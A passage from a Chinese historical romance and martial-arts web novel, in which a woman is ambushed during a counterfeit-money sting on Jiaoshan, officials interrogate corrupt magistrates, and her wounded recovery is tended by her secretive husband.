萍萍忙跑起来，柳湛随后：“我、我们！” “只有一个位置了。”梢公声音回荡。 萍萍喘着气看那舟上，一排排坐满，的确只余最末一个座位，又见舟旁挨着另一只舟，还是空的，便想等那旁边一艘，却感觉柳湛推她胳膊：“你先去，等下我来找你。” 萍萍完全没有思考，便依柳湛之言，跨上舟去，须臾，扭头询问：“那我在码头等你？” 柳湛一脸严肃：“蒋兄事急，你先把东西交到人手上。” “好。”萍萍说着转回头，就要坐下，一人江中舟上，一人岸边，柳湛却突然拉住她的手，萍萍一开始没反应，柳湛便唤：“萍萍。” 她这才诧异回头。 他抚她的手背，拇指却扣入萍萍虎口，摩挲两下：“不要怕。” “好了没有？开船啦——”梢公船头吆喝，许多船客也将目光投到萍萍身上。她不好意思，担心耽误大家，便轻柔抽手，柳湛眼见她的手寸寸远离，从指覆掌背变成指覆盖指，再到他的手孤悬空中。 萍萍在船上挥手：“待会山中再见。” 半晌，柳湛才抬手挥了仅一下，算作回应。 船家找萍萍收了八十文船钱，去焦山是这个价。 “坐好了，走了。” 梢公竿往水中一**船就朝江心荡开去，微风习习，萍萍起先还挺惬意，但不一会就察觉不对劲——这船上出奇寂静，男女老少竟然都紧闭双唇，不谈天说地。 萍萍有时瞅某位或某位船客看久了，他们就一齐转过脸来盯着她，面无表情。 他们不会是劫金子的水匪吧？ 萍萍紧张，包袱从后挪前，连挎带护，紧紧箍在身前。 江上雾气泛起，又随船散。 岸上亦然。 柳湛径直走向旁边那艘，他刚一坐下付账，就有十数船客迅速上来，付账坐定。挨着柳湛的船客身着圆领袍，头戴幂篱：“郎君。” 柳湛侧首：“怎么是你？” 这船客是女扮男装的蒋音和。 “奴婢担心郎君安危。” 柳湛不再接话，目光只盯着前方远处萍萍那艘，隔着半江，雾气时隐时现，有时会看不清。 柳湛袖中攥拳，无论螳螂黄雀，今日将尽捕之，诸事已皆在他掌握之中，一时的看不清不要紧，他会护她周全。 不远处，一辆不起眼的马车车帘挑起一角，裴小官人抬着手，侧着身，一双阴鸷的眼睛藏于阴暗中。 赶车的是他的长随，瞧见一切，心有疑惑：“他们都是去焦山？” 夫妻俩怎么不一起走呢？ “阿大，”裴小官人吩咐，“也去雇一艘船。” 很快，长随也找来一艘筏子，马车开到江边，裴小官人低头抬袖，遮掩着上了船。 船如离弦箭，飞速驶离岸边。 大江中舟多如鲫，来来往往，三人三舟泯然其中，顷刻难以分辨。 * 淮南东路的提点刑狱司两处办公，一在扬州，一在润州。 润州这处，提点胡瑜与上峰刑狱公事本是闲聊，胡瑜一时嘴贱，吹嘘自己近日侦破两起悬案，上峰便问，往年悬而未决的那些案子，整理没有？ 胡瑜哪里有做。 上峰便斥：“去年就答应我整理，拖到今年，这都三月了！衙门里还有多少案子没破？你不知本官亦不知，说出去叫人笑掉大牙！” 上峰限胡瑜三日之内，全部理清。 胡瑜喜欢抓人，擅长刑讯，却最怕白纸黑字，一个头两个大，只得叫上手下全部差人，点灯熬油。 这会，某差人打个哈欠，看外面天黑黑：“这再过一会，鸡都要打鸣了！” “一宿总算快熬过了。”另一差人接话， “呵，还有两宿呢！”又有一差人指着堆积如山的卷宗，“这么多卷子你们没看见？” “不是吧，还是要继续熬？”差人们怨声四起，“提点是这样吗？” “提点，三日整理得完吗？” 他们理了一宿，没想到卷宗积压了这么多，三、四十年前的悬案都没处理，只怕当事人已俱化白骨。 胡瑜在旁勾嘴角，想到一处去，老案子无人伸冤，还侦破什么？ 至于近五年的新案，积压千件，自己是做得有点过分了——那便整理一晚，做做样子。 “今夜过了就不熬了，”胡瑜站起来伸懒腰，“等到鸡鸣就各回各家！” “那公事大人会不会怪罪？”有人差人问。 立马就有同僚跳起敲那差人头：“你傻了吧，我们提点是谁？” 胡瑜一笑，今晚已经给了上峰面子，他爹爹胡忠恕是京官旧吏，同僚门生遍布，就连御史中丞林元舆上月也来参加伞宴，小小一公事，不敢真撕破脸的。 有贴心的差人见胡瑜站起，拿来揩齿巾，欲伺候洗漱。 胡瑜摆手，前些日子新养一外宅，想念得紧，待会去她那里洗。 他不由心猿意马：“你们在这理，本官先走了。” 说着就要往外走，却突然闯入许多官兵，胡瑜来不及反应就被架住，手下差人也尽数被押，整个刑狱都被围起，铁桶一般。 “作甚么？我是本路提点！”胡瑜正囔囔，就见官兵中央让出一条道，刑狱公事并一白面无须少年走近，公事拜那少年：“中贵人。” 少年点头：“杂家奉中丞大人命令，审查刑狱司提点胡瑜并一干人等，不允离院，一只苍蝇都不可飞走！” 与此同时，胡府内。 主仆家眷多半梦乡，有两位值夜的女使未眠，站在院子里说话，忽十数黑衣人执器械翻墙入院，压落墙边数朵海棠。 二女使与众来人面面相觑，须臾，来人将刀横于女使脖颈。 胡家其余各处亦如此，偶有遇上护院的，轻微打斗，胡忠恕年老睡浅被吵醒，摇一摇身边双十娇妻，让她伺候披衣，出来查看。 耽误久了，他下到台阶时，家里已明晃晃各处火把，仆婢女眷尽数羁押。 黑衣人们把府邸围得水泄不通。 “好大的胆子！”胡宽恕抖着手指向阶下黑衣人，“你们、你们私闯民宅，还有没有王法？” 又想家里每年花百金雇护院，却原来一群饭桶，只能找机会给瑜儿报信，调拨差人，镇压下狱，到时候眼前这帮歹人，格杀勿论。 胡忠恕脸色越来越阴沉，就在这时，被他指的黑衣人让开，现出身着从三品官袍的林元舆，紫服玉带，胡忠恕那一只食指，隔空戳林元舆面门。 林、林公…… 胡忠恕张嘴说不出来话。 “中丞大人奉谕旨办案，何人敢阻？！” 胡忠恕听闻官家，腿一软跪倒在地。 瓦舍中，两位行首并虔婆丫鬟也俱绑缚，便服官兵守在屋内，头顶的鸳鸯灯绕圈打晃。 * 焦山码头。 萍萍提防一路，也紧张了一路，但船客们却好像不是打劫的，竟让她平平安安抵达。 下船时萍萍才发现不仅手心，后背也是全是冷汗，又想，这一艘船客可能只是天生不爱笑吧。 “到码头遇见执末色扇的人，可交易。”她脑海里回响蒋望回叮嘱的话。 末色扇……为什么有人要在扇子上写“末色”二字？ 不能见着一把扇子，就允人把这么多黄金带走吧？ 萍萍正琢磨如何与接头人确认，无意扫见码头一角柳树下，立着个着窄袖对襟衫，月白绢裤的女子，浓烈的粉面红腮，模糊她本来面目。 萍萍心里咣地响了一声，整个人定住。 副末色。 不知缘何，她脑子里突然冒出这三个字。 接着耳畔便袅袅唱起来，明明只有船客往来，无人演戏，却觉丝弦锣鼓，恍临台上。 “《打花鼓》。”萍萍呢喃。 她压根没去过瓦子，却笃定这些都是瓦子里的，还无比熟悉。 难道是前尘旧事？ 萍萍恍惚的这片刻，女子走到萍萍身边，笑问：“妹妹在等人？” 萍萍几乎颤抖着低头，望见女子身后别着把扇子。女子稍稍偏身，一点点露出“色”字，再露“末”字。 她果然是副末色。 萍萍戒心莫名其妙就少了三分，再一想到她是女子，又减两分：“是。” 女子笑笑，抽出腰间蒲扇：“可是在找带着这把扇子的？”不待萍萍答，她便续道：“是我呢。” 萍萍看着女子的眼睛，回以笑意。 “妹妹东西可有带来？”副末色又问。 萍萍仅存的一点戒心驱着她反问：“你知道是什么东西吗？” 副末色凑近萍萍耳畔，以扇掩口，吐气如兰：“三百金。” 这下萍萍确认了，笑道：“看来你是蒋小官人要转交的人。” 副末色慢慢挑了下眉。 少倾，她牵起萍萍的手：“此处人多，妹妹借一步说话。” 萍萍想也是，人来人往，万一被人听见，对金子起了贪念，可不得了。她立马把包袱搂更紧，然后才跟副末色走。 副末色回头看见，浅淡一笑。 萍萍原以为只到偏僻角落，比方刚刚副末色站的柳树下，哪知副末色引她往山上走，萍萍不由问：“我们要去哪里？” 副末色驻足：“我们总要找个完全没人的地方，检查检查你包袱里的东西是不是真的吧？” “那肯定是真的。”萍萍不假思索回。 副末色又笑：“再则，妹妹也要领回你该带回去的东西吧？” 还有要带回去的？ 这蒋望回没说啊，萍萍一霎疑惑，然后赶紧恢复平常神色，怕给蒋望回漏了什么馅。 她镇定地，直勾勾地对视副末色眼睛。 副末色笑着催促：“快些走吧，我待会在焦山还有一场戏要演。” 萍萍恍然大悟，怪不得副末色上妆，她也脚下加快，无意间俯瞰，焦 山和金山一样，只一条登山道，蜿蜒入江，待会官人可以顺着找上来，不会走散。 她笑着转回头，跟上副末色。 江上，舟中柳湛正死死盯紧山间路上那一点挪动的鹅黄与秋香。船将一停靠，他就匆匆下来，疾步登山，堂而皇之，并不避人，皂靴一步步踏在石阶上。 与此同时，狱中，亦有一双皂靴，一下一下，踩踏在胡瑜腿上。 他痛得哇哇大叫。 这是胡瑜自己发明的酷刑，将犯人反绑在地，绳缚双腿，然后再令狱卒腿上跳跃，痛深骨髓，名为超棍。 坐上首审讯的林元舆都不忍看，偏这胡瑜常用的刑讯室里还贴一副字：人是贱虫，不打不招。 狱卒又跳十来下，胡瑜熬不住，喘气道：“杨廉和我相差两岁，用同一乳母张氏，那张氏的儿子便是那朱方巷杀猪匠……” “但我们与张氏已多年不往来，”胡忠恕突然打断儿子，接话道，“犬子偶尔听到她的消息，皆是从杨廉口中得知，那杨廉与张氏亲密。” 林元舆捋须，看来胡忠恕仍打算咬死，阻儿招供。 可张屠之前已经向他们招了呀，二白金、三百金，皆不是全数，杨廉会饕餮开口，一要再要，而张屠也只得一印再印，以至于短短三年，润扬一带就假。钱泛滥。 也曾有人辨出真伪，却被胡家一门地头蛇镇压。 林元舆之前怜惜胡忠恕年纪大，只上了些皮肉刑，不曾动用超棍，此刻依旧数分不忍，但胡家父子的确参与了伪钱案，他要再审不出所以然，官家和太子怪罪，是要算到他头上的。 权衡利弊，林元舆朝胡忠恕拱了拱手：“胡兄，对不住了。” 示意狱卒上超棍。 狱卒便拿绳索来绑胡忠恕腿，情急之下，为求活命，胡忠恕冲口而出：“林元舆，你可知淮南东路茶盐司并不属我润州管辖？” * 焦山。 焦山也有庙，却远不及金山寺有名，香火比起来也是小巫见大巫。 焦山有名的是遍布半山的碑林。 穿过入口宝墨亭，葱茏掩映百来块高过人头顶石碑，风吹不倒，雨淋不化，石语默述。萍萍头回来，心内震撼，眼花缭乱。 当中有一块叫《瘗鹤铭》，碑面一层薄灰，光投在石刻上，萍萍伸手去拂，这么漂亮的字，不忍心让它蒙灰。 她看署名是“华阳真逸撰”，扭头见副末色也停了下来，便问：“这是王右军的真迹么？” 副末色凑近瞧碑，脑袋在萍萍肩膀上方隔着毫厘，轻轻笑道：“谁知道呢。” 又催促：“快走吧。” 走得深了，萍萍恍觉副末色在领她走迷宫。 魏法师碑、金刚经偈句、赵使君寿祠记……她默默通过碑文名记下路线。 副末色在两块碑间的空地停下：“妹妹在这里稍候，一会就有人来。” 萍萍记下自己站的背后是前人观《瘗鹤铭》留下的赋。 副末色已绕过石碑，越走越远，不一会消失不见。她借森柏遮掩，来到高处精舍，杨廉正在舍中窗边俯瞰萍萍，身后伫俩长随。 副末色恭敬拜道：“大官人。” 杨廉看也不看。 副末色弓着背，蹑手蹑脚也走到窗边，不敢影响杨廉，挑一边角往下觑，不一会蹙眉：“咦？” 杨廉这才抬眼瞥她，似有不悦：“怎么了？” “他们还是背信弃义了。”副末色碎步凑近杨廉，指那窗下荼白身影，已穿亭进入碑林，“那人便是同奴商议的杨小官人。” 杨廉不以为意晲一眼，再瞟，再定睛，那日伞宴，林元舆身后护院容貌卓绝，是杨廉见过最好看的男人，不仅筵席上鹤立鸡群，到如今依然还印象深刻。 杨廉甚至记得那护院还和一厨娘生出纠葛。 “他是什么杨小官人！”杨廉狠狠瞪副末色，“他是御史中丞林元舆的长随！” 杨廉怒踹副末色：“差点误我大事！” 副末色倒地，杨廉则吩咐自家长随：“吹阎王号。” 即刻有一长随跑出去，未免暴露主人位置，同精舍隔溪又隔碑后，才吹起一只犀牛号角，所谓阎王号三长五短，阎王要你三更死，岂能留你到五更。 那娘子并护院，统统灭口。 萍萍正和五名男子交易。她递去黄金箱，那居中的男子还她一个箱子，模样大小皆如女儿家的妆奁，她正在疑惑蒋望回用黄金换妆奁作甚么？难不成他心上人喜欢，博君一笑？ 就听山间号角响起，呜呜数声，接着五名男子齐刷刷拔刀，朝萍萍砍来，她抱着妆奁，拔腿就躲，忽觉身边擦过一道白影，一道弧光。 再定睛时，五名男子脖颈上皆一道剑痕，涓涓冒血，另有一白袍皂靴男子手持薄剑，自空中旋落。 这一身打扮再熟不过，萍萍立马认出：“官人？” 声音里却带上几分疑惑。 柳湛捉住她手腕：“快走。” 杨廉在精舍里看得跳脚：“人呢？不要留活口！” 他们这回来了三十几个护院，拦下这对男女绰绰有余。 便不断有精壮男子自石碑后冒出，阻拦二人去路。 有时候躲刀要弯腰，要低头，萍萍不自觉收胳膊，手从柳湛手中滑落。追杀得紧，她不敢停，就自己按记的路跑，少倾柳湛纵身跃过，在她身前落地，砍翻一名护院，重牵起她的手，这回十指牢牢扣紧。 “你记得路？”柳湛边跑边问。 萍萍正要答，忽又有一个流星锤迎面飞来，锤体巨大，极难躲避，柳湛正准备横剑帮她打掉，忽斜出一飞刀，击上流星锤，连带着锤体一道改变方向，滚落坠地。 柳湛只瞥了一眼地上飞刀，就继续与那持锤的护院鏖战。此时忽然杀声四起，是林元舆排遣的官兵到了。 人多势众，不一会就将杨廉手下生擒或绞杀。 柳湛这才稍稍放宽心，松开萍萍的手，准备审问那几位活着的贼人，萍萍却仿佛冥冥中自有召唤，鬼使神差朝精舍方向望去，对上副末色的眼睛。 那副末色手执的盒子就在这一刻打开，内里似连弩却非连弩，无数泛着蓝光的银针，暴雨一般，径直朝柳湛方向射去。 柳湛余光瞥见，如今这世上竟还有人会使梨花针？他并不惧，正欲转身剑挑，就听萍萍大喊：“官人小心！” 漫天席地，在萍萍看来，比那流星锤还难躲百倍、千倍，避无可避。她便一个纵身，挡在柳湛身前，踮脚伸臂，尽力护住他。 毒针噼里啪啦全射。进萍萍身体，柳湛看得心惊胆战，目眦尽裂，再看她身上的血花一朵又一朵，争先恐后绽放，只觉天旋地转。 他朝萍萍奔来的脚一踉跄，跪倒在她身前，一手抱起一手捂，可出血的地方太多，怎么也捂不完，柳湛两手抖得不能自已，心中颤道：不该让她来的，不该…… 跟官兵一道上山的蒋音和此时近前，怒道：“郎君运筹帷幄，原本可以决胜千里之外，却突然冒出她这个添乱精，成事不足，败事有余！” 柳湛似未闻，打横抱起萍萍。 音和忿忿不平：“郎君救她作甚，难不成还要带回东京？” 柳湛突然狠狠剜了蒋音和一眼：“你闭嘴！” 第30章 第三十章 “我保证，以后再不瞒你。”…… 蒋音和愣住， 还从未有人这般凶她，平日家里爹爹娘亲如珠如宝，入宫后官家都不曾这样发雷霆。 又是因为这个女人…… 蒋音和眼睛薄红， 掉下两滴清泪， 柳湛却早已抱着萍萍奔远， 快到几乎脚不沾地，还一直问最近的医馆和郎中。 精舍中，副末色双双已离开窗边， 面无表情将木盒收入袖中。 杨廉怔怔望着， 她方才不是被踹倒，跌了个狗吃。屎吗？ 什么时候站起来的？ 还有， 她刚刚射的什么？ 她会武功？ 双双扭头，不紧不慢瞥了杨廉一眼，她比他矮上许多，扬起下巴也才将将与他平视，但这一眼却让杨廉恍觉她在睥睨他。 更难以置信的是，他竟被震慑住，突然再不敢对她拳打脚踢。 少顷， 杨廉看底下人手尽被捕获， 败局已 定， 才记起正事， 火急火燎吩咐剩下那名长随：“快快快，回去把版都烧了！” 他自己又急急去拿墙上的宝剑，双双忽道：“蠢货。” 她说什么？ 杨廉尚在反应， 就觉后脑一痛，被双双敲晕在地。双双抠下他手中宝剑，拔剑对着杨廉的心口捅了又捅， 确认气绝才收剑入鞘。 双双再将屋内信鸽全都杀死，朝门口看了一眼，才翻越侧首矮窗，抄近路去追长随。 蒋望回后脚追查到屋内，见杨廉躺倒血泊，心下一沉，蹲下来探鼻息，果然死了，再看屋子里信鸽东倒西歪，全部毙命。 屋内三面有窗，蒋望回三面都瞄了一眼，翻过侧首矮窗，出屋搜寻。 焦山上下山并不只一条路，只是旁人不晓得，杨廉的长随便钻近道走，双双在后喊他名姓：“宋大哥，你等等我，大官人还有话忘记了，让我通传。” 声音又甜又脆，但那长随出门时窥到一点，哪里还敢再信，只觉这悦耳女声犹如催命符，撒腿跑得更快，脚下打滑，从两丛树中间穿过去，带得树叶梭梭，山石滚落。 双双一跃落到长随前头，长随吓得手脚并用重新往上爬。双双紧追不舍，长随颤声央求：“姐姐，姐姐饶命！” 双双冷面冷血，一剑直刺，忽有另一柄剑横挡面前，寒光照面——是蒋望回持剑救下长随。 双双眸如鹰隼，毫不犹豫袭向蒋望回，不曾有一句言语，不是打他咽喉、胸口，就是胯。下。蒋望回也无话说，紧闭双唇，与之对战，双双还想趁他不备，偷袭长随，蒋望回护住，接下来便身法加快，十招内堪破双双剑法，再两、三招就逼上双双脖颈，而他自己却剑意未尽。 蒋望回正欲生擒双双，她突撒出一大把白色粉末，遮蔽蒋望回视线。他以为仅是面粉，合唇屏息，伸手护住长随，欲再重新擒双双，那粉末却呛入眼中，混了姜蒜椒芥，极为刺激，蒋望回一时难以睁眼，流下泪来。 双双趁机逃离。 * 焦山，吸江楼。 女医已经拔除萍萍体内银针，也止了血，仔细上好疮药，包括私。密处，而后才唤侧着身子，伫立窗边的柳湛：“大官人，好了。” 柳湛闻言旋即转身看向萍萍，她仰面躺在床上，掖着被子，仍陷昏迷。 女医见他目不曾移，眉不曾展，便道：“要不……给她用下附子？附子强心，没准您家娘子能早点醒来。” 柳湛一步步走向萍萍，缓缓接口：“不要用附子。” “放心吧大官人，我用附子开方子，都会搭配人参、生姜、甘草这三味，压制附子毒性，您娘子不会有事的。” “你出去吧。”柳湛依旧拒绝。 女医走后，他拉了张圆凳在床边坐下。 方才碑林里自己方寸大乱，郎中来后，才想起外男不能近身，该请女医。女医才后，才记起自己也是会医的，润州本地郎中未必比他医术好。 虽然之前已经搭过两回脉，但这又过去半个时辰，许有变化，柳湛手探入被褥，搭在萍萍腕上，细细诊脉。 还算平稳，只是有些涩细，如春蚕吐丝，难以名状。 等她这次病好以后，就不再督促她喝那药了。 柳湛轻柔抽手，重新掖好被子，胳膊却不放下，反而往上抬了数寸，再前探，不自禁去触她的脸。 和岐黄之术一样，他镇定后同时也在想，世上真有待他人胜过自己，甘愿替对方去死这样的爱吗？ 在指尖距离萍萍脸颊还有数厘时，柳湛手收回来，垂下空握。 萍萍将醒未醒间，隐隐约约听见什么“用附子”，“不用附子”，缓了一会，才睁眼彻底清醒。 “你醒了。”柳湛旋即就说，话音落地萍萍才迟钝撑手，要坐起来，柳湛倾身去扶，又道：“你不要用力。” 萍萍望一眼陌生卧房，眼神仍有数分呆滞，说话也极慢：“官人，这是哪里？” “我们还在焦山上，这里是吸江楼。” 她脑子转得很慢，但就这样慢慢地想，从柳湛问她想不想去焦山，到孤身坐船，要带回的“妆奁”，一直想到柳湛突然出现在碑林。 “是不是还不舒服？”柳湛柔声关切，“要不再躺会？” 萍萍摇头，过了片刻，才问：“官人，你是不是有事瞒我？” 柳湛目往左眺，看那幔帐。 萍萍始终凝视柳湛眼睛，哪怕他没对视，她也端详那双眸子，阿湛应该还是喜欢她的吧？情没有变，只不过他忘了…… “官人，这些年你真的是在林员外家做长随吗？”萍萍平静缓慢问出口，“那天早上，你有没有想过等一等，我们一起坐船？” 柳湛闻言不由自主抬眼，与萍萍对视，在对上那一霎他突然极害怕此刻萍萍的眼神，急忙站起坐到床上，用身。体代替手扶住她：“我不知道你一个人去会变成这样，到了码头没找见你人，我从来没有那么急过。” 萍萍听他讲得急切，语气诚恳，心道从前那些记忆，还有想起来的可能。 他只是忘了，才这样。 柳湛想把她搂紧，才觉踏实，却顾忌萍萍身上伤，不敢用力触碰，因为急，他的坐姿也不太对，身子扭着，手别着，格外难受，但只要萍萍舒服就好。 柳湛始终保持这个姿势讲：“说来话长，我的确是长随，但员外却不是普通员外，他是当今御史中丞林元舆，林公。我这几年都在他家中做护院。林公南下调查一桩伪。钞案，牵涉颇多，临行官家特意叮嘱了要低调，免得打草惊蛇，所以不得不瞒。我也不愿你知晓过深，徒增担心。你在焦山见到的那些人，便是私印伪钱的贼犯，希颜心急，为引鱼上钩，私下扮作也想作伪的商贩与之交涉，此事我不知情，若我晓得那包金子是用来交易的，打死也不会允你一个人上船。” 不敢用力搂，柳湛就将脑袋凑近了些，贴在萍萍的头顶，心才稍稍踏实他主动摩挲她的青丝：“我保证以后再不瞒你。” 他说，她便信了，因为这是她的阿湛。 不仅是一个眼神就心意相通，舍命护她的阿湛，而且是记忆那个义不负心，忠不顾死的阿湛。 她脑袋稍稍往后，倚靠上柳湛胸膛：“我记忆里的金山寺方丈肯屡次出手救我们，就是因为你也曾帮过他们，那时有群恶霸大闹佛堂，你路见不平，拔刀相助，打跑了他们，自己也受了伤。你答应方丈此事莫再提，回到家后便不说，我以为你是寻衅胡闹受的伤，骂了一顿，你也不反驳……对了，我在碑林和他们交易时，他们说有个箱子给蒋小官人，类似妆奁，当时掉到地上了，你们可有拾到？没影响御史大人查案吧？” “你受伤后我就急匆匆抱你寻医，旁的一概不清楚，等你病好了我们可以一道问一问。”他看看怀中佳人，低下来，第一次主动吻了萍萍，啄在额头，一触即分：“伤你那个伶人逃跑了，我一定会抓到她，严惩不贷，为你报仇。” 萍萍微微扭转身子，柳湛赶紧随她姿势调整坐姿，始终稳稳扶好。 萍萍仰面，本来也想在他额上回以一吻，却高估了自己重伤后的力气，踮不到那么高，只落在唇上。 她不是个扭捏的人，遂将错就错，闭上眼就唇粘唇。 柳湛下意识收臂将她拥拢些，也闭上眼，须臾便烫如烙铁，挨得太紧，怕她能感受到，又念着她才转醒，身有重伤，遂后倾分离。 柳湛手仍扶着，人却下了床：“你身上不好，应当好好歇息。” 萍萍的确虚弱，应了声好，柳湛便扶她躺下，盖好被子，才道：“你先睡，我到外面守着。” “不用守， “萍萍苍白的嘴唇一张一合，“刚抓到贼人，正是诸事要忙，你快去帮林公，我这里能照顾好自己。” 柳湛犹悸，哪愿意再让她孤身一人，他朝床。上的萍萍点了点下巴：“你先睡。” 说完出去，轻轻带上门。 蒋望回已无声候在门外许久，他眼睛伤了，罩着一圈黑纱。 柳湛转身时目光扫过蒋望回，却未停驻，他朝前下台阶，冉步院中，直走到中央石凳石桌的休憩处，才驻足。 柳湛挑了只石凳坐下，面朝萍萍所卧厢房，她听不见他言语，他却能时时刻刻督守着她。 石桌上方搭有垂丝海棠的花架，眼下季节花尚未开，日辉透过绿叶和木架的缝隙，斑驳投到桌面上。 蒋望回跟得算紧，柳湛坐下不久他便来了，正往凳上坐，柳湛关切：“眼睛好些了吗？” 蒋望回点头。 柳湛又道：“这些日子走路慢点，别像刚才那样快。” 蒋望回埋首道了声谢。因着柳湛这几日只守萍萍，不曾过问伪。钞案，蒋望回便向他汇报：“胡氏父子那厢，林公还在审。” 其实又查出官银也有问题，但前因后果，乃至证据皆不详细，蒋望回打算等十拿九稳了，再禀柳湛。 他只说些确定没眉目的：“胡忠恕说上方有保，恐怕是扬州那位，然而我们却始终找不到丝毫证据，那位……撇得干干净净。” 胡忠恕所言，成了空口无凭，无据之谈。 “总要到扬州走一遭。”柳湛回应。 蒋望回颔首，接着从怀中掏出两只巴掌大的飞刀，乍看毫无分别，他将双道递给柳湛：“这里面有一把是他们整理战场时在碑林拾到了，和陋巷中袭击郎君的飞刀别无二致。看来那日袭击郎君的，也是杨廉这伙人。” 柳湛沉默着摸上刀柄。 “只是属下不解，那时我们便已引起他们注意了吗？那为何后来还同我们交易，还会中计？” 柳湛回想飞刀替萍萍挡下流星锤那一幕，自知不是杨廉等人，却顺着蒋望回的话道：“兴许他们一开始仅只怀疑试探，”他将两把飞刀收好，不再还给蒋望回，“然疑行无成，疑事无功。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第31章 第三十一章 春雨 蒋望回真认真思忖柳湛所言， 然后点了点头。 柳湛看蒋望回对面坐，背对萍萍的厢房，便起身邀他坐自己位置：“来， 你坐这边。” 蒋望回一脸疑惑， 柳湛见状解释：“你帮我守一会萍萍， 别让人近身，我快去快回。” 蒋望回之前伫立门外，是从金山寺方丈那段开始听的， 到后来殿下和萍娘子都没了声音， 取而代之是殿下越来越急促的呼吸，后面完全紊乱。 蒋望回喉头滑动：“萍娘子从前就身体不好， 此番遭遇重创，不知几时才能痊愈。” 柳湛一笑，所以他才要亲自去抓药啊，比女医的方子好得快。 他没回应蒋望回，快步往主楼走去，不到一刻钟就赶回来，身后跟随四名女使， 一提火钳铜炉， 一抱药罐， 一端碗盘， 还有一位提着一桶泉水，轻手轻脚进屋，放好就走， 只言不发。柳湛自己拉了张脚凳坐下，弓背猫腰，给萍萍煎药。 萍萍再醒来时已满屋子药味， 她没起来，就转半身，从平躺变成侧卧，面朝柳湛：“你怎么把炉子搬到房里来了？” 柳湛正用火钳翻火，心道那是自然，让别人煎药他不放心药，留她独自在屋内不放心人。 柳湛执火钳继续戳了两下：“因为我想和你在一起。” 萍萍先是一愣，耳根微烫，继而笑出两个酒窝。 她和他是一样心境。 萍萍静静瞧着柳湛，从她这个方向望去，看不全他的脸，只能见侧面半张，凤眼高鼻，还有脑后的玉冠玉簪，因为伏低身子翻火，柳湛的白袍挨到地上，炉中红炭燃得透亮，灰烣蹁跹。 柳湛怕她急，柔声道：“你耐心等会，快好了。” 萍萍却笑着想不急的，就这样看他一辈子她也愿意。 柳湛让女使拿来的是两只碗，一大一小，小碗倒药，置于大碗中，再在大碗倒一圈冰凉泉水，让药冷得快些。 但也不能太凉，只过须臾，柳湛就将那只绘有红梅的瓷白药取出来，并一只同色瓷勺，一起放到木盘上。他端盘走近床头，盘放几上，俯身扶起萍萍：“来，喝药。” 萍萍乖乖依偎在他怀里，柳湛圈着她，一手端起药碗，一手绕过去执勺，舀一勺要喂给她。 萍萍这个时候反而不好意思了，整张脸涨红：“不用这样吧……” 这一满碗，一勺勺要喝到什么时候？ 萍萍欲夺碗：“我还像以前那样，直接干了。” 柳湛见她来夺，手顿了顿，而后由她夺走，只不过手掌在底下托着，避免洒翻。 萍萍喝一口本能闭嘴，没干下去：“怎么这么苦？” 比之前喝的苦多了！ 柳湛莞尔：“那银针浸透热毒，要外泄凉血，退热退肿，所以这里面加了苦参、龙胆草和穿心莲。” 他不会再在她的药里动手脚，这回的方子是好的，同时还添有温良药，避免太寒。 萍萍不懂医，只听过俗语，点头道：“怪不得，‘穿心莲，苦人心。’” 柳湛忽生不忍，空着的那只手摸向袖里，却不是按剑，而是摸找萍萍上回给他的那颗糖：“你好好喝，喝完了给你压个甜的。” “什么东西？”萍萍睹见柳湛摸袖子，就要去探，柳湛怕她摸到剑，手往后背，“唉药泼了，药要泼了！” 萍萍不敢动了，把药端稳，柳湛那只胳膊才慢慢绕回来，把一颗糖按到她掌心。 “这不我给你的吗？”萍萍旋即扭头眺柳湛。 柳湛眨了眨眼，那怎么办，他不吃别人的东西，身上搜刮干净也只这一颗，且已忘了这糖市价，只记着是萍萍给的，心道：这颗糖又不差。 “我身上只有这了。”柳湛无奈，忽又意识到给萍萍吃了，自己就没有她给的东西了，“你以后要还我一颗啊。” 萍萍瞪大眼：“你怎么这么小气。” 柳湛似乎也觉着自己好笑，自嘲勾了勾唇角，但心情愉悦。 有了糖似乎真就有了动力，萍萍再饮时，一口气咽下大半碗：“怎么还有这么多？” 柳湛搂着她笑，气轻轻吹在她脸上：“你不觉得这碗比家里的大吗？” 萍萍低头端详碗，柳湛道：“龙胆草轻抛，要比平时多两碗水才能浸透，”他别过头偷笑，“所以你喝的也多。” “那你怎么不多煎一会，水熬干些？” “我已经多煎了，再煮就没疗效。”柳湛搂着她的那只手抚抚她的胳膊，“好了好了，待会不是还有一颗糖么？” 萍萍沉默须臾，点点头，端起碗准备继续喝，外面忽起细碎声响，二人一同望去，竟是一场淅淅沥沥的春雨，不约而至。 树影幽幽，雨水从叶子上漏下，叶子底下已经隐约有些小果，青梅还要等一个月才成熟。 柳湛动了心思，想命人搜罗些提前熟透的，验过之后做成糖渍，给萍萍压药：“等梅子好了，做一罐给你压药。” 萍萍喝完药吃上糖，才回他：“那干脆多做几罐。” 到时候她来做，她晓得放多少糖阿湛最喜欢。 “做那么多做什么？” “因为我们以前做梅渍，一罐从来不够吃，只要开了盖子你就停不下嘴。我怕你吃多了胃里反酸，把罐子藏床底下，第二天一看还是少了十几颗。有老鼠——”她说着往柳湛脸上轻挠。 柳湛淡笑避开，他是喜欢萍萍，但不喜欢她此刻的动作，以卑犯尊，逾矩了。就像他是喜好梅渍，但晓得克制，一日食用不会超过三颗，远没有萍萍 描述的夸张。 她说的那个人，不是他。 这样一想，柳湛心情更差了，这雨下得人闷。 …… “我好闷！” 三日后，萍萍这样向柳湛抱怨。 天天非躺既坐，游手好闲，实在受不了，再加上现在天气渐渐热起来，雨天也不冷，她想出去透气。 柳湛毫不犹豫回绝，勒令禁止。 “我打伞——”她解释。 这不是打不打伞的问题，柳湛神情严肃：“你现在重伤未愈，是身子最弱的时候，一出去，寒湿立马沾身侵袭。” 到时候热毒未解，寒湿又浸，两相加重，身体会更不好受。 他耐着性子：“等雨停了，天放晴，我陪你出去走。” 萍萍听他的，没再囔囔，继续待在屋里养病。吸江楼顾名思义，可俯瞰大江和半座润州城，气象万千，景致最佳。 但柳湛安排这间厢房却不在主楼，靠最里面，不仅看不到江，还人烟隔绝。萍萍只能瞧院子里的石桌石凳，海棠花架，花又未开。 一天两天，看久了实在枯燥，萍萍央求柳湛：“你给我带几本书来好不好？” 柳湛不允，养病时要少思少虑，书中悲秋伤月，惜古叹惊，反而伤身。 “那我快闲出毛病来了。”萍萍轻叹，觉得自己现在就像一只被绑在蛛网上的虫子，极其难受。 柳湛听她说病，心又不忍，思忖片刻后启唇：“这样，我给你弹些曲子吧。” 五音亦可疗愈。 他差蒋望回送来一张琴。 